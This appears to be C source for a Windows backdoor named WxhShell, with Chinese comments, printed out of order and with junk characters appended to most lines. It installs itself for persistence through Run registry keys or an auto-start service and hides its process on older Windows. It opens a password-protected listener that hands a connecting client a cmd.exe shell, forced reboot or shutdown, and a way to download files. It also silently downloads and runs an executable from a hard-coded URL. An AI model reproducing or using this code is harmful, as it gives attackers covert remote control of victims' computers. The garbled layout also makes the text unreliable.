    if(Boot(SHUTDOWN)) :0Te4UE;P7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ee?;i<u  
    else { (:}<xxl  
    closesocket(wsh); 5Hle-FDn9  
    ExitThread(0); 5RhF+p4  
    } Ol cP(  
    break; 4]BJ0+|mT  
    }  nP_=GI  
  // 获取shell x0x $  9  
  case 's': { kEAhTh&g*  
    CmdShell(wsh); zA{8C];~  
    closesocket(wsh); @\!!t{y  
    ExitThread(0); F.KrZ3%4iB  
    break; {!K;`I[]v  
  } q) _r3   
  // 退出 ER<eX4oU  
  case 'x': { ]gP8?s|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UH40~LxIma  
    CloseIt(wsh); c^-YcGwa  
    break; xyV]?~7  
    } 9.8,q  
  // 离开 DT? m/*  
  case 'q': { f'_ S1\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \!PV*%P  
    closesocket(wsh); Jr?!Mh-  
    WSACleanup(); t,Q'S`eTU  
    exit(1); V4?Oc2mS  
    break; hZF(/4Z2  
        } ,kE=TR.|  
  } Tf l;7w.(A  
  } 7|~:P $M  
QN #)F  
  // 提示信息 :0dfB&7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !fZLQc  
} { y/-:=S)A  
  } M71R -B`-  
(HSw%e  
  return; ]PVt o\B=  
} RIo'X@zb  
00qZw?%K  
// shell模块句柄 bA+[{  
int CmdShell(SOCKET sock) V85.DK!  
{ yM17H\=  
STARTUPINFO si; C 38XQLC  
ZeroMemory(&si,sizeof(si)); `(T!>QVW+g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &<{}8/x8(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YAMfP8S  
PROCESS_INFORMATION ProcessInfo; u9@b <  
char cmdline[]="cmd"; P'FKk<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qg{WMlyOP  
  return 0; F G _,  
} {9{J^@@  
$O]^Xm3{@  
// 自身启动模式 g 2#F_  
int StartFromService(void) $[w|oAwi  
{  3se$,QmN  
typedef struct H oS|f0  
{ 5%qH 7[dx  
  DWORD ExitStatus; \!7*(&yly  
  DWORD PebBaseAddress; C$ hQN  
  DWORD AffinityMask; nr<.YeJ  
  DWORD BasePriority; M/)B" q  
  ULONG UniqueProcessId; *s36O F!  
  ULONG InheritedFromUniqueProcessId; J;HkTT   
}   PROCESS_BASIC_INFORMATION; S ]b xQa+  
N.n1<  
PROCNTQSIP NtQueryInformationProcess; H\f/n`@,G  
,N;v~D$Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  I9Om#m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @|]G0&gn&?  
l}+Cdy9>  
  HANDLE             hProcess; 5])8qb/F  
  PROCESS_BASIC_INFORMATION pbi; *sAOpf@M  
'M lXnHxt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XP4jZCt9  
  if(NULL == hInst ) return 0; q@w"yz>  
:OX$LCi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >OTl2F}4 !  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Fa98nV.WB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -UTV:^  
 "YD.=s  
  if (!NtQueryInformationProcess) return 0; k)Zn>  
P_mi)@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T#Fn:6_=  
  if(!hProcess) return 0; Yim#Pq&_  
"p`o]$Wv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `+Xe'ey  
<\Vi,,  
  CloseHandle(hProcess); \E~Q1eAJT  
|thad!?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0ovZ&l  
if(hProcess==NULL) return 0; 67fIIXk&  
2$  
HMODULE hMod; -2z,cj&E{  
char procName[255]; CBIT`k.+  
unsigned long cbNeeded; -@#Pc#  
!&\meS{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a.1`\ $]d  
<(Tiazg  
  CloseHandle(hProcess); +!G4tA$g  
p ^](3Vi(  
if(strstr(procName,"services")) return 1; // 以服务启动 R^|!^[WE  
9Dy)nm^  
  return 0; // 注册表启动 srhFEmgN7)  
} !4_!J (q%  
;i/"$K  
// 主模块 cJ2y)`  
int StartWxhshell(LPSTR lpCmdLine) c'xUJhEL  
{ QW,cn7  
  SOCKET wsl; T4vogoy  
BOOL val=TRUE; cu:-MpE  
  int port=0; 1"M"h_4  
  struct sockaddr_in door; =P)"NP7f'  
]|t9B/()i  
  if(wscfg.ws_autoins) Install(); /^~p~HKtx  
-S`TEX  
port=atoi(lpCmdLine); .:T9pplq  
\?r$&K]4  
if(port<=0) port=wscfg.ws_port; a4:`2  
&bn*p.=G  
  WSADATA data; hl*MUD,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eS* *L 3  
;r%<2(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FF8WTuzB+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hJ<:-u+yk}  
  door.sin_family = AF_INET; R !jhwY$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ \_3s  
  door.sin_port = htons(port); f>|9 l  
j`{fB}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LPb]mC6#  
closesocket(wsl); #&}%70R)  
return 1; >s44  
} Io2,% !D  
8TUF w@H%  
  if(listen(wsl,2) == INVALID_SOCKET) { i'U,S`L6>  
closesocket(wsl); ;g&7*1E  
return 1; YmZC?x_{M2  
} 1V#0\1sj  
  Wxhshell(wsl); 8rla0d@  
  WSACleanup(); FYxUOO  
t;h+Cf4  
return 0; m=#aHF  
?`za-+<r<  
} sV]i/B  
@wg&6uQ  
// 以NT服务方式启动 /DK*y S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zUe#Wp[  
{ Tw?Pp8'  
DWORD   status = 0; Rd`{qW  
  DWORD   specificError = 0xfffffff;  =7*oC  
Dm&lSWW`/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *QMF <ze  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ma% E&.ed  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D%6ir*%T  
  serviceStatus.dwWin32ExitCode     = 0; w2.qT+; v  
  serviceStatus.dwServiceSpecificExitCode = 0; ": mCZUt  
  serviceStatus.dwCheckPoint       = 0; ]kyle3#-~  
  serviceStatus.dwWaitHint       = 0; pHq{S;R2G  
YhEiN. ~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =c :lS&B  
  if (hServiceStatusHandle==0) return; >l y&+3S  
"(9=h@@Y"  
status = GetLastError(); wa9'2a1?  
  if (status!=NO_ERROR) Dh*~U :6$g  
{ Wh#os,U$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U/}AiCdj@  
    serviceStatus.dwCheckPoint       = 0; P c/.*kOT  
    serviceStatus.dwWaitHint       = 0; d w|-=~  
    serviceStatus.dwWin32ExitCode     = status; DMy4"2 o  
    serviceStatus.dwServiceSpecificExitCode = specificError; B7NmET4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lr!L}y9T+  
    return; s?4%<jz  
  } de3yP,  
J R 8 Z6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s@*,r@<  
  serviceStatus.dwCheckPoint       = 0; X; e`y:9  
  serviceStatus.dwWaitHint       = 0; ;mCGh~?G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +OV%B .  
} l:>qR/|m  
|;x fe"]  
// 处理NT服务事件,比如:启动、停止 }Bv30V2-(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ex~(AWh  
{ S-H-tFy\\  
switch(fdwControl) S jC)6mo  
{ yHa:?u6  
case SERVICE_CONTROL_STOP: 7J #g1  
  serviceStatus.dwWin32ExitCode = 0; eH"qI2A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5$ (b3]  
  serviceStatus.dwCheckPoint   = 0; 'fp<FeTg  
  serviceStatus.dwWaitHint     = 0; NgDZ4&L  
  { T%N~oa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \@iOnRuHn9  
  } [| c@Yw  
  return; j]cXLY  
case SERVICE_CONTROL_PAUSE: A8A:@-e8A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KT]J,b  
  break; *!wO:< -  
case SERVICE_CONTROL_CONTINUE: .3S\Rrv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,_wm,  
  break; E@\d<c.  
case SERVICE_CONTROL_INTERROGATE: h^.tom g8  
  break; //`cwnjp  
}; .=et{\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); USHlb#*  
} _E x*%Qf.  
Q]2sj:  
// 标准应用程序主函数 yhJA;&}>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Bb|N--jI  
{ dA_V:HP  
YU ]G5\UU  
// 获取操作系统版本 UIm[DYMS  
OsIsNt=GetOsVer(); (}/.4xE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R-2FNl  
,YAPCj  
  // 从命令行安装 hPEp0("  
  if(strpbrk(lpCmdLine,"iI")) Install(); <IHFD^3|j  
i+qLc6|S=2  
  // 下载执行文件 GDNh?R  
if(wscfg.ws_downexe) { R9|2&pfm(M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3_R   
  WinExec(wscfg.ws_filenam,SW_HIDE); 3<~2"@J  
} QTrlQH&p  
yP1Y3Tga=  
if(!OsIsNt) { ~t.WwxY+  
// 如果时win9x,隐藏进程并且设置为注册表启动 /I`bh  
HideProc(); ' Z(MV&  
StartWxhshell(lpCmdLine); Npf7p  
} %Mb( c+7  
else T?p`Y| gl  
  if(StartFromService()) e!2%ku  
  // 以服务方式启动 $jUS[.S_|I  
  StartServiceCtrlDispatcher(DispatchTable); b0zxT9  
else U||w6:W5  
  // 普通方式启动 #sm_.?P  
  StartWxhshell(lpCmdLine); 6|"!sW`%N  
J4*:.8Ki  
return 0; w50Bq&/jX  
} fW4cHB 9|  
I ]WeZ,E  
*]E7}bqb  
95gsv\2  
=========================================== wn A%Nh7  
3Q!J9t5dc  
w$U/;C  
t}c}@i_c  
;ow~vO,x  
n.)[MC}  
" Fv7%TK{oe  
44fq1<.K  
#include <stdio.h> _:fO)gs|1  
#include <string.h> -'p@ lk  
#include <windows.h> gw&#X~em  
#include <winsock2.h> r PRuSk-f  
#include <winsvc.h> h^ecn-PC  
#include <urlmon.h> Kn!0S<ssR  
_ c(C;s3o  
#pragma comment (lib, "Ws2_32.lib") N|Cy!E=d  
#pragma comment (lib, "urlmon.lib") #@\NdW\  
afP&+ 5t@O  
#define MAX_USER   100 // 最大客户端连接数 ,Q /nS$  
#define BUF_SOCK   200 // sock buffer ~&j`9jdOj  
#define KEY_BUFF   255 // 输入 buffer ?3"D| cS1  
gA 6h5F)_  
#define REBOOT     0   // 重启 k vgs $  
#define SHUTDOWN   1   // 关机 Y +_5"LV  
7N59B z  
#define DEF_PORT   5000 // 监听端口 dD.d?rnZq7  
uZiY<(X  
#define REG_LEN     16   // 注册表键长度 ?od}~G4s#  
#define SVC_LEN     80   // NT服务名长度 UA!Gr3  
j~L1~@  
// 从dll定义API %[\Ft  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !qw=I(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~q_+;W.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @y\{<X.F\1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h@m n GE  
}fZ =T4r  
// wxhshell配置信息 moJT8tb  
struct WSCFG { y'2kV6TtqD  
  int ws_port;         // 监听端口 M6hvi(!X2  
  char ws_passstr[REG_LEN]; // 口令 vb"dX0)<  
  int ws_autoins;       // 安装标记, 1=yes 0=no /4B4IT  
  char ws_regname[REG_LEN]; // 注册表键名 dj'8x48H2W  
  char ws_svcname[REG_LEN]; // 服务名  n wZr3r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Y,?r[4{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *A1TDc$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }jY[| >z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cVHE}0Xd(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %}ApO{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YT(1 "{:  
9X {nJ"  
}; UK <DcM~n  
L5k>;|SA  
// default Wxhshell configuration (8-lDoW  
struct WSCFG wscfg={DEF_PORT, 0-~6} r$  
    "xuhuanlingzhe", o? O,nD 6  
    1, ^B!?;\4IM  
    "Wxhshell", ;Y|~!%2~  
    "Wxhshell", 5fx,rtY2sQ  
            "WxhShell Service", > v!c\  
    "Wrsky Windows CmdShell Service", BQ}.+T\  
    "Please Input Your Password: ", >wS:3$Q  
  1, E#2k|TpH4  
  "http://www.wrsky.com/wxhshell.exe", Qdr-GODx  
  "Wxhshell.exe" -z 5k4Y  
    }; .kKwdqO+zB  
 ~!d)J  
// 消息定义模块 L|1zHDxQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FqUt uN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q}F%o0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kdMS"iN8x  
char *msg_ws_ext="\n\rExit."; CygV_q  
char *msg_ws_end="\n\rQuit."; v4>"p!_C  
char *msg_ws_boot="\n\rReboot..."; x^O2Lj,w\  
char *msg_ws_poff="\n\rShutdown..."; +l?ro[#6&.  
char *msg_ws_down="\n\rSave to "; 73z|'0.  
vwH7/+  
char *msg_ws_err="\n\rErr!"; .q9|XDqQc  
char *msg_ws_ok="\n\rOK!"; $E,DxDT  
2SPFjpG8n  
char ExeFile[MAX_PATH]; =O'%)Y&  
int nUser = 0; ]|La MMD  
HANDLE handles[MAX_USER]; hCvLwZ?LF  
int OsIsNt; ryp$|?ckJ  
#Xw[i  
SERVICE_STATUS       serviceStatus; +ZA\ M:^b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6BN(^y#-X  
kbT-Oz  2  
// 函数声明 Cz);mOb%M%  
int Install(void); 4Z~Dxo  
int Uninstall(void); ^21f^>k(  
int DownloadFile(char *sURL, SOCKET wsh); 5F sj_wFk  
int Boot(int flag); yqb <<4I  
void HideProc(void); 2d;xAX]  
int GetOsVer(void); `L*;58MA  
int Wxhshell(SOCKET wsl); !@Vp Bl  
void TalkWithClient(void *cs); -zLI!F 0  
int CmdShell(SOCKET sock); {i}Q}OgYq  
int StartFromService(void); @$yYljP  
int StartWxhshell(LPSTR lpCmdLine); cTa D{!zm5  
6`";)T[G9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <d&)|W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W>wi;Gf#  
O#5( U. E  
// 数据结构和表定义 1LIV/l^}f  
SERVICE_TABLE_ENTRY DispatchTable[] = v_h*:c  
{ :;WDPRx  
{wscfg.ws_svcname, NTServiceMain}, Eg29|)qsz  
{NULL, NULL} 5YH mp7c-z  
}; wVJFA1  
Ahbu >LPk  
// 自我安装 X|1YGZJ  
int Install(void) !K~$ -jlT  
{ @d^h/w  
  char svExeFile[MAX_PATH]; gI5nWEM0{  
  HKEY key; Q!e0Vb  
  strcpy(svExeFile,ExeFile); 49fq6ZhO  
<m:wuNEM  
// 如果是win9x系统,修改注册表设为自启动 "jc)N46  
if(!OsIsNt) { LbbQ3$@ WD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {bW3%iU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dj. +5f'  
  RegCloseKey(key); "s<l Lgi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { []3}(8yxGb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jv.R?1;8i  
  RegCloseKey(key); UBHQzc+,  
  return 0; GFa/9Bi  
    } 4^ 6L])y  
  } Tn-]0hWkP  
} ]]o[fqD-Zn  
else { P2JRsZ.  
j4r,_lH^r  
// 如果是NT以上系统,安装为系统服务 -86:PL(I"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "I FGW4FnL  
if (schSCManager!=0) $cU/Im`  
{ R,+(JgJ  
  SC_HANDLE schService = CreateService Byj~\QMD|  
  ( -?1J+}?  
  schSCManager, pP,bW~rk  
  wscfg.ws_svcname, HYmUxheN2  
  wscfg.ws_svcdisp, Hll}8d6[  
  SERVICE_ALL_ACCESS, Ht^2)~e~:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M #&L@fg!  
  SERVICE_AUTO_START, c!^}!32j)  
  SERVICE_ERROR_NORMAL, \o)4m[oF  
  svExeFile, mM{v>Em2K#  
  NULL, ~Fb?h%w  
  NULL, ;O|63  
  NULL, 2B dr#qr  
  NULL, xF|*N<9(</  
  NULL |6^ K  
  ); Z?' |9FM  
  if (schService!=0) ea>\.D-S  
  { B&N&eRAE  
  CloseServiceHandle(schService); Z`c{LYP,y"  
  CloseServiceHandle(schSCManager); #de^~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -Ep6 .v  
  strcat(svExeFile,wscfg.ws_svcname); aW$nNUVD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z x%@wH~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fr2w k}/b  
  RegCloseKey(key); RcP5].^T  
  return 0; iZ\z!tHR  
    } d( g_y m*  
  } 7e[\0:Z  
  CloseServiceHandle(schSCManager); r!,V_a4n  
} @2*6+w_Ae  
} tgA |Vwwk  
Pp hQa!F$  
return 1; S9oGf  
} ]X|G+[Ujv  
"]Td^Nxi  
// 自我卸载 !PIdw~YC  
int Uninstall(void) <j3HT"^[D  
{ +qf{ '|H  
  HKEY key; hO@3-SRa,k  
y<d#sv(s  
if(!OsIsNt) { Asu"#sd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lo9?,^S  
  RegDeleteValue(key,wscfg.ws_regname); Vnb#N4vR  
  RegCloseKey(key); <U pjAuG8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }h6z&:qA[?  
  RegDeleteValue(key,wscfg.ws_regname); Y g?{x@  
  RegCloseKey(key); 0Jh:6F  
  return 0; *=@pdQkR  
  } t&]Mt 7  
} f"^tOgGH  
} >;W(Jb7e  
else { 9(j!#`O7&  
6E]rxps}"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zAUfd[g  
if (schSCManager!=0) TeqsP1{?  
{ Q*(o;\s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? d\8Q't*  
  if (schService!=0) \9QOrjiw  
  { V1A3l{>L  
  if(DeleteService(schService)!=0) { nTKfwIeg5  
  CloseServiceHandle(schService); =>*N W9c  
  CloseServiceHandle(schSCManager); )aSkUytg"  
  return 0; q8>Q,F`BA  
  } |Wk G='02  
  CloseServiceHandle(schService); <-}\V!@E!  
  } C ,hsr  
  CloseServiceHandle(schSCManager); vrbh+  
} e*H$c?7NL  
} }*.*{I  
_AYF'o-Cm  
return 1; 'DQyB`V2y  
} pASVnXJZ  
n\Ixv  
// 从指定url下载文件 "QS7?=>*F  
int DownloadFile(char *sURL, SOCKET wsh) ||aU>Wj4  
{ >,3 3Jx  
  HRESULT hr; 9lV'3UG-?  
char seps[]= "/"; 4PQWdPv;  
char *token; 7!%"8Rl-  
char *file; f lB2gr^  
char myURL[MAX_PATH]; "g-NUl`'  
char myFILE[MAX_PATH]; !&[4T#c  
X2v'9 x  
strcpy(myURL,sURL); z?,5v`,t2  
  token=strtok(myURL,seps); gBu4`M  
  while(token!=NULL) lV'83  
  { =w-H )  
    file=token; EA.U>5Fq  
  token=strtok(NULL,seps); ;zDc0qpw  
  } to7)gOX(  
|=s3a5sl  
GetCurrentDirectory(MAX_PATH,myFILE); 4>*`26  
strcat(myFILE, "\\"); Vk-_H)*r  
strcat(myFILE, file); JB<4 m4-  
  send(wsh,myFILE,strlen(myFILE),0); Ji q[VeLe  
send(wsh,"...",3,0); <!^Z|E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ZG1  
  if(hr==S_OK) NY x4& *le  
return 0; t/|^Nt@XT  
else l1WVt}  
return 1; >kYyR.p.b  
Je,8{J|e  
} 4NV1v&"  
S# #W_OlrI  
// 系统电源模块 fF%r$`2  
int Boot(int flag) jQ*Qh  
{ ~55>uw<  
  HANDLE hToken; 'oG'`ED"  
  TOKEN_PRIVILEGES tkp; e-mlvi^-  
fp0Va!T(V  
  if(OsIsNt) { ZV;yXLx|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qv6]YPP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^iNR(cwgX  
    tkp.PrivilegeCount = 1; uk,f}Xc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =xoTH3/,>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7|rT*-Ia  
if(flag==REBOOT) { 1o%Hn"uG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7f>n`nq?  
  return 0; rtm28|0H'  
} 4hIC&W~f  
else { \m&:J >^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kWFR(J&R  
  return 0; Lrq&k40y  
} V EzIWNV  
  } S[M$>  
  else { \X!!(Z;6A  
if(flag==REBOOT) { 0W> ",2|z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WlUE&=|Oz2  
  return 0; #Z :r  
} I/g]9 y  
else { P}gh-5x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #LiC@>  
  return 0; RMXP)[  
} ^d,d<Uc  
} 6]VTn-  
iYnt:C  
return 1; x>cu<,e$d\  
} pN[i%\vh  
\XC1/LZQ  
// win9x进程隐藏模块 c{~*\&  
void HideProc(void) *L=CJg  
{ v&Kw 3!X#E  
eC?N>wHH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /1*\*<cs  
  if ( hKernel != NULL ) 4y 'REC  
  { ":OXs9Yg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SPBXI[[-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =B 9U  
    FreeLibrary(hKernel); H,'c&  
  } 2.yzR DfZ  
A!c.P2  
return; ZD3S|1zSQ  
} EOL03N   
Jy9&=Qh   
// 获取操作系统版本 3I]5DW %-  
int GetOsVer(void) ]#`bYh^y  
{ [{YV<kN  
  OSVERSIONINFO winfo; %llG/]q#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "LYob}_z  
  GetVersionEx(&winfo); zC7;Zj*k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z\x6  
  return 1; 3jeR;N]x  
  else 5@Sb[za  
  return 0; b~r ?#2K  
} ~jgd92`{z  
V;$lgTs|'  
// 客户端句柄模块 ?S"xR0 *  
int Wxhshell(SOCKET wsl) &3rh{"^9  
{ AK[c!mzx  
  SOCKET wsh; 52oR^ |  
  struct sockaddr_in client; <iMLM<J<w  
  DWORD myID; .fgoEB,(  
@Z)&3ss  
  while(nUser<MAX_USER) T"O!  
{ *N7\d9y  
  int nSize=sizeof(client); "xWC49   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 61wiXX"N  
  if(wsh==INVALID_SOCKET) return 1; }+z}vb  
fYwumx`J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m|!sY[!  
if(handles[nUser]==0) ;kY=}=9  
  closesocket(wsh); TWy1)30x  
else il: ""x7^y  
  nUser++; epQ7@9,Q  
  } qFay]V(O|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &kP>qTI^p~  
 M`bK   
  return 0; kHJjdgV  
} GE>&fG  
;I9D>shkc  
// 关闭 socket H=0Y4 T@)T  
void CloseIt(SOCKET wsh) d< y B ~Y  
{ fSj^/>  
closesocket(wsh); f.!cR3XgV  
nUser--; 74Lq!e3hMF  
ExitThread(0); B|!Re4`0  
} d6u L;eR  
)9}z^+TH  
// 客户端请求句柄 lm$T`:c  
void TalkWithClient(void *cs) wDn5|F}i&  
{ "F=O   
_]B'C  
  SOCKET wsh=(SOCKET)cs; 5'X.Z:  
  char pwd[SVC_LEN]; ZW2U9  
  char cmd[KEY_BUFF]; ur;8uv2o  
char chr[1]; &Oe,$%{hBh  
int i,j; 1&U U6|X  
AtSEKpKc  
  while (nUser < MAX_USER) { %.]qkGZe#  
~GZ(Ou-&  
if(wscfg.ws_passstr) { y8\44WKW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5WEF^1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HH^eEh4g  
  //ZeroMemory(pwd,KEY_BUFF); xand%XNv  
      i=0; J5429Soo  
  while(i<SVC_LEN) { dH8H<K~  
)H)HR`  
  // 设置超时 }psJ'aiG*  
  fd_set FdRead; .Ir5gz  
  struct timeval TimeOut; =V(I  
  FD_ZERO(&FdRead); d>2>mT$U  
  FD_SET(wsh,&FdRead); F;kNc:X`)  
  TimeOut.tv_sec=8; Nx~8]h1(  
  TimeOut.tv_usec=0; YqYCW}$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iu=iC.50}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <J\z6+,4E  
pbJs3uIR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n<?:!f`   
  pwd=chr[0]; <~'\~Zd+  
  if(chr[0]==0xd || chr[0]==0xa) { [8<)^k  
  pwd=0; iJU]|t  
  break; %;GDg3L[p  
  } _Y=>^K]9K  
  i++; ?,]25q   
    } oTZNW  
EiSS_Lc  
  // 如果是非法用户,关闭 socket G>"w$Us  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); < f1Pj  
} sk 9*3d5I  
2-FL&DE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;:f.a(~c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7&E3d P  
Ao(Xz$cQfW  
while(1) { YHl6M&*@  
OQA}+XO  
  ZeroMemory(cmd,KEY_BUFF); Fe}Dnv)}Z  
!M6*A1g5  
      // 自动支持客户端 telnet标准   %+qD-{&  
  j=0; "d9"Md0k  
  while(j<KEY_BUFF) { LJ9^:U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XB zcbS+  
  cmd[j]=chr[0]; .cjSgK1  
  if(chr[0]==0xa || chr[0]==0xd) { y^?7de}  
  cmd[j]=0; Z%k)'%_   
  break; )bXiw3'A  
  } Bi9 S1 p  
  j++; ,..&j+m  
    } a?_N8|k[  
6|L<? X  
  // 下载文件 >2TDYB|;  
  if(strstr(cmd,"http://")) { ^ 14U]<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o/ ozX4C  
  if(DownloadFile(cmd,wsh)) m\RU |Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s7[du_)  
  else GG-7YJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ru `&>E  
  } LY(YgqL  
  else { vvwNJyU-  
